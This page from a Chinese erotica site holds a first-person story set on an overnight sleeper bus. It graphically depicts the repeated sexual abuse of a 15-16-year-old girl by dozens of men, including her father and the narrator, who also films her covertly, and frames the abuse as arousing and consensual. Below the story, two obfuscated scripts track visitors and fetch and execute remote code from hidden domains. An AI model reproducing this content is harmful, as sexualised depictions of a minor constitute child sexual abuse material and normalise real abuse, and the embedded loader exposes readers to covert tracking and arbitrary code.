图片载入中

十二小时长途车

特大字】 【大字】 【中字】 【小字

“妈的!妈的!妈的!”我一边踢着地上的石子一边对着空无一人的大街破口大骂,这种穷乡僻壤到了半夜十点来钟连个鬼影都没有。

这次出差已经持续了将近一年,好不容易公司才给我放了三天假,我当然想马上回家看到老婆儿子。结果偏偏火车票卖光,末班长途车也走掉了。出发前旅店老板告诉我这个时间点还会有一辆长途经过高速公路,所以我才打车过来。结果就是我已经在这路灯都没有的鬼地方等了两个小时,连半个车影都没看见过。

现在回想起来,当时老板娘使劲拉扯了好几下旅店老板,肯定是知道我被忽悠了。那个黑车司机不愿意过来,多半也知道这破地方鸟都不拉屎。可恨我当时怎么就没想明白,现在到了这地步,就算想回旅店都不可能了。

虽然已经到了夏天,但白天刚下过雨,站了许久之后我真是觉得又冷又累,只好找了块路边的砖头坐了下来。如果真的没有那趟大巴,那我只能在这等到明天早上的长途车了。

就在我已经接近绝望的时候,突然看到远处亮起了车灯。我赶紧跑到马路中间拼命挥手,想拦下汽车。

汽车离得近了,我才看出来那是一辆大客车。但还没等我高兴起来,就被吓得跳下马路牙了——那辆大巴直愣愣的冲着我撞过来,差点就刹不住闸。

“操你妈!你他妈找死啊!”大巴司机从车上探出头来,噼头盖脸的就是一顿骂。

“不好意思啊,师傅,实在是我太不小心了。”说实在的,大半夜开车的司机估计也挺疲劳了。我这时候完全可以体谅司机的不满,点头认错绝非是我不敢顶嘴。“师傅我看您车头上写着去A市,您看能不能开开门,让我上去,我正好顺路啊。”

“滚滚滚!人满了,没地方。”

“师傅,师傅,您别着急,我多给您点油钱不成吗?”且不说我很可能在这大冷天蹲一晚上,就算我能搭上车回宾馆,坐明早的长途车回家也得平白无故浪费一天假期。打定主意要搭这趟车,我干脆用手扶着车大灯,生怕司机一脚油门下去就跑了。

“兄弟,我们这车真没地方了。”令我意外的是,大巴车后面的窗户里也探出了几个脑袋,纷纷劝我不要拦车。这几个人都是些三四十岁的;男人,看起来有把子力气,我估计是一起打工的民工。

就在我死皮赖脸想要蹭上车的时候,一个脆生生的声音帮我解了围:“爸,你就让他上来吧,反正雷叔的位置是空着的。”

话音刚落,大巴的后门就打开了。我赶紧三步并两步的跑了过去。藉着车里的灯光,我看到车门旁边站着一个十五六岁的小女孩,想必就是她帮我打开了门。

你可以说我是预设了美化的立场,但我必须要说天籁般声音的主人果然像天使一样。

客观的说,这片地方的女孩子们都挺漂亮的,但是常年在田地里劳作让她们的皮肤变的粗糙黝黑。可是面前这个女孩有点不太一样,她大概没怎么帮忙干过农活,皮肤还是保持着洁白光滑,配上一张小巧精致的面容,让人看了就忍不住想配合她一起微笑。她的穿衣品味也不赖,一身白色收腰连衣裙配上乌黑的长发相当养眼,脚下的黑色小皮鞋里露出蕾丝白袜。

女孩可能是要睡觉,刚刚洗过脸,水珠还在沿着她的发梢滴落。大大的眼睛里透出一丝狡黠,似乎想着什么鬼主意。我刚要上车,女孩却堵住了门口。站在台阶上的女孩也就刚刚跟我一样高,她微微歪着头,说:“叔叔,我可听见你说要多给油钱了,便宜点儿你就加个两百吧。”

抱歉我刚才说错了,这女孩分明是长着一张诱惑人心的恶魔脸庞。要知道这趟长途总共才三百多,她一下让我多交出一大半的钱。然而我现在已经没得选择了,只能硬着头皮同意。

车上的几个同路人不知为什么还是不想让我上车,大概是被我打扰了睡觉,就连看我的目光都不太友善。一个年纪稍大的大叔对着女孩说:“丫头啊,别闹了,咱这车怎么搭人啊?”

“没关系的,郭叔。”女孩还是满脸笑容的回应道,“就先让他睡雷叔的床吧。”

那些人看女孩如此坚持,她的爸爸又不管后面车厢里的事,只好同意放我上车了。

这辆客车是专门跑长途的卧铺大巴,三列床铺顺着大巴的走向平行排布,车厢两侧的床铺都是双层床,中间一列是单层的。每张床的尺寸都不大,像我这种一米八出头的人只能蜷缩着腿才能睡下,车厢里总共大概有三四十张床铺。车门旁边是一个临时卫生间,女孩说的雷叔的床铺正好头顶着卫生间,上铺是个储物格。

虽然环境有些恶劣,但好歹我是上了回家的车了。这辆车的配置还是相当齐全的,每个床铺都有一盏小灯和电源插座,床上铺着一张毛毯。女孩走到中间的单层床铺,拉开毛毯钻了进去。她的床铺正好在我的旁边,女孩冲我眨了眨眼,就闭眼睡觉了。

我这时候也很累了,把手机冲上电,连衣服都没脱就躺下睡着了。

但是这种连腿都伸不直的卧铺实在是让人有些闹心,我估计可能刚睡了一个多小时就又醒了过来。本来我是想换个姿势,让自己舒服一点,但耳边传来的声音却阻止了我的行动。

“嗯——嗯——嗯——”

明显被压抑的喘息声有着大萝莉少女独有的甜美,很明显就是车厢中间的女孩发出的。

这丫头不会在自慰吧?一个念头从我脑中冒了出来。说实在的,这将近一年的时间里我都碰不到老婆,只能靠自力更生解决问题。现在听见一个女孩的呻吟声,我的小弟立刻不听话的膨胀了起来。

她只是一个和你儿子差不多大的黄毛小丫头,我对自己说。但是偷窥的欲望还是无法被控制。我尽量不发出声音的转过了脑袋,眯缝着眼睛想看清女孩的动作。但是眼前的场景完全超出了我的想像。

女孩的床头小灯打开,昏暗的光线映照出一个赤裸的幼嫩身躯。女孩并不是躺在床上,而是跪坐在一个男人的身上。男人的双手扶住女孩的大腿,仿佛一把就能握住那纤细的肢体。

女孩一手撑在男人的胸口上,另一只手正捂着自己的小嘴。随着她的腰肢扭动,呻吟声也一阵阵的流露出来。灯光正好照射在女孩脸上,反射出几缕汗液的光芒,她两鬓的头发都已经被粘在了脸颊上。

由于角度和灯光的原因,我看不清楚两人结合的地方。但从下方男人越来越快的挺进下身,可以猜出来他已经接近了高潮。

这时另外一个裸体的男人走了过来,他半跪在旁边,侧身从女孩后背抓住微微凸起的双乳开始大力揉捏了起来。男人的脑袋埋在女孩修长的脖颈旁,伸出舌头沿着女孩的锁骨慢慢舔了起来。

“呜呜呜——”

这里大概是女孩的弱点,她仿佛受到很大刺激一样呜咽起来。女孩猛烈的摇起了脑袋,想要摆脱背后的男人,但却徒劳无功。

女孩背后的男人低声说道:“丫头,这样搞下去可来不及了,车上这么多人一个个来,那得搞到哪辈子去。”

女孩勉强压低自己的声音,回答:“嗯嗯——那也没办法啊,嗯嗯嗯——大叔们一起上我会忍不住喊出来的。”

女孩身下的男人发出一声低吼:“我要射了,嗯嗯嗯,呵————”

“咿————”

女孩被身下的男人猛地顶起,尚未完全发育的身体似乎也可以体验到高潮,两手同时摀住嘴巴也堵不住快乐的声音。她脑袋靠向后背的男人,腰肢向前弯成弓形,上半身颤抖起来。

这一次发射的时间好像很长,女孩高潮过后全身都瘫软了下来。我这个时候才发现自己下体已经硬的不行,右手早就扶了上去。口干舌燥下我已经含了一大口口水,但是我怕吞咽声被人听见,只好慢慢咽下。

女孩身下的男人起身离开了床铺。但她并没有得到休息的时间,本来在她背后的男人又躺在她的身下,双手就像托起洋娃娃一样将女孩举到自己的凶器上。

这些干苦活的民工们都相当强壮,最矮的估计也有一米八左右,个个虎背熊腰,有几个人的上臂都跟女孩的腰一样粗了。

我稍稍向旁边扫视,对面的床铺旁边站了好几个男人。我终于明白为什么这些人不想让我上车了——他们怕我打扰好事。换句话说,这就意味着整辆车除了我之外都是女孩的对手,她这一晚要被三十多个男人轮流奸淫。

后面的男人们悄声交谈了几句,有三个人一起脱光衣服,站在女孩的身边。

“嗯嗯嗯——不要啦,嗯嗯嗯——饶了我好不好,嗯——真的会忍不住吵醒人家的。”

女孩知道即将发生的事情,开始求饶。但男人们不打算理会她,调笑她道:“当初是你同意让人上车的,我们可不负责。”

一个男人跪到女孩的背后,虽然看不太清楚,但很容易猜到他一手掰开了女孩的菊花,另一只手扶着自己的肉棒,连前戏都没有就直接硬挺插入。

“呜咿————”

灯光下女孩瞪圆了双眼,眼泪汩汩流下。我刚刚看到她后面这个家伙的尺寸绝对是超大规格,能满足荡妇需求的武器被送入一个幼龄女孩的后庭,想想就知道这有多可怕。

“还是老张厉害,丫头估计是爽得不行,夹得我都快要交枪了。”女孩身下的男人还在继续自己的活塞运动,低声说道。

“呜呜呜——张叔不要动啦,呜呜呜——好痛,我受不了啦,呜呜呜——”

女孩这时已经不再发出呻吟了,而是低声哽咽起来。

“别叫了,小心那边的客人。”一个男人半跪在女孩身侧,他左手把女孩的双手从嘴边拉开,右手抓着女孩的头发,将女孩的脸贴到自己的下体,低喝道:“张嘴!”

我看过的AV不算少了,但是能和眼前的深喉场景相比的,只有那些疯狂的白妞和大老黑们配合的表演。

女孩乖乖的张开了双唇,张到极限的小嘴也就刚刚够把男人的龟头吞下。女孩伸出一只手扶着男人的肉棒,缓缓向自己的嘴中送去。男人的凶器刚刚进入五分之一,女孩就不得不喘气休息一会儿。但男人显然不满她的进度,直接将女孩的脑袋压了下去。

“呃呜呜呜——”

女孩似乎想求饶,却只能从被堵住的嘴巴里发出一点呜呜声。男人的动作起到了作用,女孩的喉咙以肉眼可见的程度膨胀起了一条粗大的凸起,巨龙的形状一直延伸到她的锁骨之间。藉着灯光,我可以看到女孩的嗓子在用力的吞咽蠕动着,她的双眼向上翻白。

女孩终究还只是青涩的幼龄而已,我估计她的下体也在遭受着同样的折磨,未熟的容量却要承受成年人的尺寸。

虽然看起来女孩已经濒临失去意识的边缘,但她的腰身却没有停止扭动,持续服侍着侵入她下体两洞的男人们。又一个男人站在了女孩的身边,他将女孩空下来的一只手放到自己的肉棒上,我看到女孩自己就开始了上下撸动。

“呜呜呜嗯————”

这种凄美而香艳的场景持续了大概半个小时,女孩可能高潮了两三次才让男人们满足了。侵犯洞穴的三个男人直接射到了女孩的体内,而让她帮忙手淫的男人则射到了女孩的脸上。女孩幼稚的脸庞此时已经被汗水泪水和精液覆盖,混合在一起的浑浊白液流到了她的胸口。女孩躺在地板上缓缓唿吸,看起来已经彻底虚脱了。

但是我很快看到女孩伸出手指,将脸上和身前的体液刮下,送到嘴里,低声说:“嗯~~~这样玩好像也行,大叔们还是一起上吧。”

男人们齐齐发出低沉的笑声,又换上一批人开始享受女孩的肉体。

我在这时也忍不住用手释放出来了,困意开始涌了上来,但我又舍不得眼前的光景。我想到了一个主意——手机里有个用来偷拍的黑屏录影软体,现在又插着充电器可以一直用。所以我悄悄的把手机放在枕边,假装是掉落的样子,摄像头正对着女孩的床铺,开始了录影。

不知道又过了多久,我被汽车停车的动作弄醒了。耳边的呻吟声仍旧没有停止,但已经变的有气无力了。

我眯起一只眼睛,看到女孩和身边的四五个男人都停止了动作,好像在看我是不是还在睡觉。很快放下心的几个人就继续之前的运动,不过可能是被突然停车吓到了,几个男人很快就缴了械。

“妈的,尿尿,老孙你去替我开会儿车。”我听见司机打开车门来到车厢的声音。他明显知道自己的女儿被几十个壮汉侵犯的事情。我见过这种司机很多,他们多半都是随便在路边就解决了小便,为什么这人要到后面来?

“爸爸不要啦,味道太大会被人闻出来的。”女孩说的话并没有阻止她父亲的动作,男人拉开裤裆,就把鸡巴塞到了女孩的嘴里。

“你身上都一股子精液味了,还怕个屁。”男人说道:“吞深一点,直接咽下去不就得了。”

女孩只好听从爸爸的命令,双手抱住男人的腰部,努力的将他的肉棒送到喉咙深处。男人快速的抽插起女孩的嘴巴,粗暴的动作让我怀疑他们是不是真正的父女。

“呜呜呜——咕噜噜”

女孩的父亲在爽过之后,接着释放起了小便,女孩努力的吞咽着,但是男人的储量似乎有点太大。

“咳咳咳——呜呜——咕噜噜”

女孩被呛到咳嗽,似乎是有些窒息,她开始拍打父亲的身体,但是没有得到怜悯。等男人彻底完事之后,女孩立刻瘫倒在地上,我能听见她大口唿吸喘气的声音。

“吐地上的待会舔干净。”女孩的父亲留下了一句残忍的话语后,就离开了车厢。

司机回去开车后,又是几个男人上来继续享用女孩。如果不是之前听到过女孩对男人们主动邀请,我简直怀疑这些人是在胁迫轮奸她。男人们根本就是把她当作一个活的发泄工具而已,完全不管女孩的状态。

我实在无法忍受,故意弄出响亮的声音,作势假装要起床。

连打了几个哈欠后,我睁开双眼,看到男人们都各自回到了床上。女孩用毯子裹住身体,进了卫生间。虽然只是看到一个背影,我也看到她的长发已经被干涸的黏液粘成一缕缕的了。

我拿起手机,背靠车窗快速的流览了一下昨晚的录影。现在已经七点多了,昨晚我上车后到现在一共八个多小时里,女孩一直在高强度的做爱。几个年轻力壮的男人多次上阵,换着花样玩弄女孩的身体。

不一会儿,女孩从卫生间里出来了,她似乎是用冷水擦了个身,头发湿漉漉的。女孩赤裸的小脚下积起一滩液体,也不知是水还是体液。虽然她还想要尽量掩饰,但毯子下露出的一双小腿仍旧在不断颤抖。

女孩蜷缩了几下脚趾,跟我说:“叔叔好色哦,你就这么喜欢看女孩子的脚吗?”

我看到她的小脸上虽然还堆着笑容,但完全无法掩盖疲惫。女孩双眼通红,泪痕似乎还可以看出来。

“叔叔不再睡一会儿了吗?再有三四个小时我们就到A市了哦。”女孩继续问我,我注意到她的嗓音也变的沙哑起来。

“不了,我睡够了。”说完我也起身去卫生间里准备洗漱。洗手间里几乎充满了精液的气味,我简单洗了把脸就退了出来。

女孩这时候躺回了自己的床上,我非常肯定毯子下的她一丝不挂。薄薄的毛毯覆盖在她的身上,勾勒出女孩幼细双腿的轮廓,甚至连胯她下的形状也若隐若现。

过了一会儿,大巴车又停了下来,司机向着车厢大声吼着:“服务站到了,除了丫头之外都下车,二十分钟之后集合。”

男人们都装作若无其事的样子下了车,这些家伙倒是休息的非常好,他们只有在提枪上阵前才会被同伴叫醒,爽过之后又继续睡的像死猪一样。如果是平日我肯定没法在这些震天响的唿噜声中睡着。

我也跟着下了车,买了点豆浆面包片当早餐。回到车旁等待的时候,我看见男人们都在悄悄的讨论着,时不时发出淫笑声,我猜他们在聊昨晚的事情。

上了车,我看到女孩还是躺在床上,裹着毛毯。她突然跟我说:“叔叔,和我聊会天吧。”

我反正也是无聊,就坐到女孩的床边,和她聊起了出差中的一些轶事。

但是我很快看到女孩的脸庞变的潮红,说话的声音也变得不连贯。我担心女孩会不会是洗凉水澡发烧了,就俯下身子摸了摸她的脑门。

“嗯~没事的,叔叔。”女孩说道。

我到这时才听到一阵嗡嗡嗡的声音,立刻明白了是怎么回事,我看着女孩身上的毛毯发起了呆。

“叔叔不要一直盯着人家的下体看啦。”女孩用撒娇般的语气说出淫靡的话语。

“如果想看的话,可以揭开毯子呀。”她的声音似乎充满了诱惑,“叔叔看见了昨晚的事情吧。”

我猛地惊醒,知道自己暴露后,反而起了自暴自弃的心情。

那些男人玩过这个女孩,我也可以玩一玩吧。我突然意识到自己的心态居然是嫉妒而不是保护。我感到自己有些恶心,但是又无法压制欲望。

我伸手慢慢的把女孩的毯子提起,显露出一副晶莹剔透的女体。

女孩的身材有些削瘦,乳房刚刚开始有些膨胀,两个粉色的小豆豆已经兴奋的充血立起,乳房下的肋骨隐约可见。躺下的姿势让她的小腹微微凹陷下去,但一道凸起从她小腹中心的肚脐延伸到下方,凸起的尽头是女孩小穴内的振动棒。

她的下体还没有长出阴毛,光洁白嫩。阴唇经过一整晚的蹂躏已经通红外翻,白色的黏液被振动棒翻搅出来。

女孩的肛门里也有一根振动肛塞在肆虐着。被撑起不能合拢的菊花一下下收缩着。女孩的双腿笔直而纤细,让人怀疑像玻璃一样美丽脆弱。

我看着女孩这幅淫荡的幼体,不知道该说什么。

女孩撑起上半身,俯身在我耳边说道:“叔叔,再过几分钟我们就到A市的市区了。你想不想把我压到后面的车窗上,让车外的人都看到我的下流模样,然后把我干到哭嚎?”

我觉得自己的理智彻底崩溃了,欲望彻底占领了上风。我把女孩的双臂扭到后背,拖着她起身。我掐着女孩的脖子,把她按到了车窗上。

“你这个小婊子这么喜欢被人看吗?”我一边说,一边把她的一条腿抬起。

女孩的身体非常柔韧,她抬起的腿和上半身都被按在冰凉的玻璃上,被迫摆出一字马的姿势。

“是是是,我就是下贱的小婊子。”女孩哭喊着。

我把自己的裤子解开,拔出了女孩后庭里的肛塞,趁着菊花还没收缩,就直接捅了进去。

“咿啊啊啊啊——”

女孩似乎要发泄前一晚忍耐的苦闷,大声尖叫了起来。

同车的男人们也都在叫好:“干死这个丫头。”

女孩毕竟是正值发育期,她的后庭即便是刚刚被扩张过,还是很快就收缩起来。我得承认,这种极端的紧致是在其他女人身上从未体验过的。我开始大力耕耘起来,摩擦让我自己都感到有点疼痛。

“好痛,嗯嗯嗯——停一下,叔叔,不要动了,呀呀呀呀——”

女孩与其说是在求饶,不如说是在诱惑我,一年没有好好发泄的欲望被我彻底释放出来。她的双手被我提起,女孩的肢体是那么细弱,以至于我一只手就可以将她的手腕和头顶的脚腕一起按在车窗上。我空下来的另一只手抽插起女孩小穴里的振动棒,性爱玩具的振动感通过她肉体的薄膜传递过来。

“呀啊啊——我快不行了,啊啊啊——叔叔果然厉害,啊啊啊——”

女孩的肛门随着呻吟声猛烈的收缩着,我的下体仿佛被她的肉壁邀请着进入更深的地方。随着我挺腰起来,女孩的整个身子都离开了地面,只有前后两个肉洞作为身体的支点。

“咿呀呀呀,不要,这样太爽了啦啊啊啊啊——”

我知道女孩的夸奖不过是习惯性的言辞而已,本来我就只有普通人实力,现在又体验着超乎想像的爽感,根本撑不了太久就发射了出来。

“啊啊啊啊——好烫,好舒服——”

女孩随着精液进入体内也享受了一波高潮,她快速的扭动着身躯。我的肉棒还没从女孩后庭退出,就被她挑拨的再一次雄起了。

“呀——让我休息一下,啊啊啊——”

从女孩充满魅力的后庭拔出肉棒对我来说是个挑战,但我还想体验一下她的其他洞穴,所以拔出她小穴里的振动器。女孩的阴道和子宫里还储存着大量的精液,我刚将振动棒拔出,白色的浊液就一股股的流了出来,沿着她的大腿滴落地面。

平时我可能还会介意一下,但现在我只想痛痛快快的享受女孩。藉着这些液体的润滑作用,我直接插入了女孩身体的深处。女孩的阴道非常浅,我刚刚插入不多就感到前端被顶住。紧接着充满弹性的肉壁就被拉长变形到极限,我的龟头似乎突破了女孩的子宫口,冠状沟传来被一圈嫩肉包围的快感。

“呀啊啊啊啊——疼疼疼,啊啊啊——”

女孩向上抬起的小脸扭曲变形,两行泪水从眼角流下,这让我知道她是真的被疼痛打败了。不过这又与我何干,我只管自顾自的抽插起来。下面的手环抱住女孩的腰腹,抬起她的身体就像是抛起玩偶一样轻松。

噗噜噜——

奋斗了很多下之后,我直接将精液送到了女孩的子宫里面。她这时已经快失去体力,呜呜的喘息着。

既然已经享用过下方两个洞穴,我自然也不想放过女孩的小嘴。女孩瘫软的身体落在地板上,我把刚刚发射过两次的武器顶到她的嘴边。女孩刚才哭喊着不要,这会儿又主动伸出了小小的舌头,帮我再度恢复威力。

几个没玩爽的男人问过我的意思之后,也一起参与了进来,我们几个人一同在车窗旁表演着残忍的轮奸幼女。不需要再避开我,让所有人都可以尽情的享用女孩身体。这时我才看清这里颇有几个人天赋异禀,当他们可以放开全力进攻的时候,女孩的性感呻吟就蜕变成了哀嚎。

他们后来又玩起了一些其他花样。两个男人站在女孩的两侧,一手扶着女孩的大腿,一手扶着她的腰肢,让她的下体冲着车窗展示。两人同时把胯下的巨物从女孩的菊花挤了进去。

“呀呀呀呀呀——”

女孩两手想要推开身边的男人,但是毫无力道的手臂起不到任何作用。她拼命的晃动身体想要逃离,也不过是让自己的大腿上留下了两道紫色的掐痕而已。

女孩只能用哭嚎来减轻自己的痛苦,苍白的双唇颤抖起来说不出来话。豆粒大的冷汗从女孩的额头流下,和眼泪一起打湿了她的脸庞。

在一旁休息的我可以看到她肛门里流出了一丝鲜血,想必里面的黏膜已经被这粗暴待遇撕裂。然而这并没有完,他们把之前的两根振动棒一起塞到女孩的小穴里。我简直无法相信那幼嫩的下体竟然可以放入这么多的东西。

幸好公路上有着汽车的轰鸣声,否则女孩的尖叫肯定要传到外面。在这种过分的刺激下,她的身体开始痉挛。一道淡黄色的液体从女孩的下体喷出,溅射到车窗玻璃上。男人们不但没有怜惜,反而嘲笑起女孩的失态。

当司机提醒我们还有半小时到站的时候,女孩已经彻底瘫倒在地板上。失禁的尿液在车窗上留下几道痕迹,与她下体流出的精液汇合起来。女孩的身体抽搐着,双眼失去了焦点,嘴边还在发出断断续续的呻吟声。

我猜想,如果前一天我没有上车的话,女孩大概要连续十二个小时一直承受这种超过极限的玩弄。

现在离那天已经过去大半个月了。有些时候我真的很想把那些事情忘掉,因为那个我似乎已经不是我自己了。

但是,我看了看手机中留下的电话,还是拨了出去,问道:

“喂,司机师傅,您哪天还要回A市啊?”(完)


上一篇:大明星柳岩的故事

下一篇:同学聚会


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};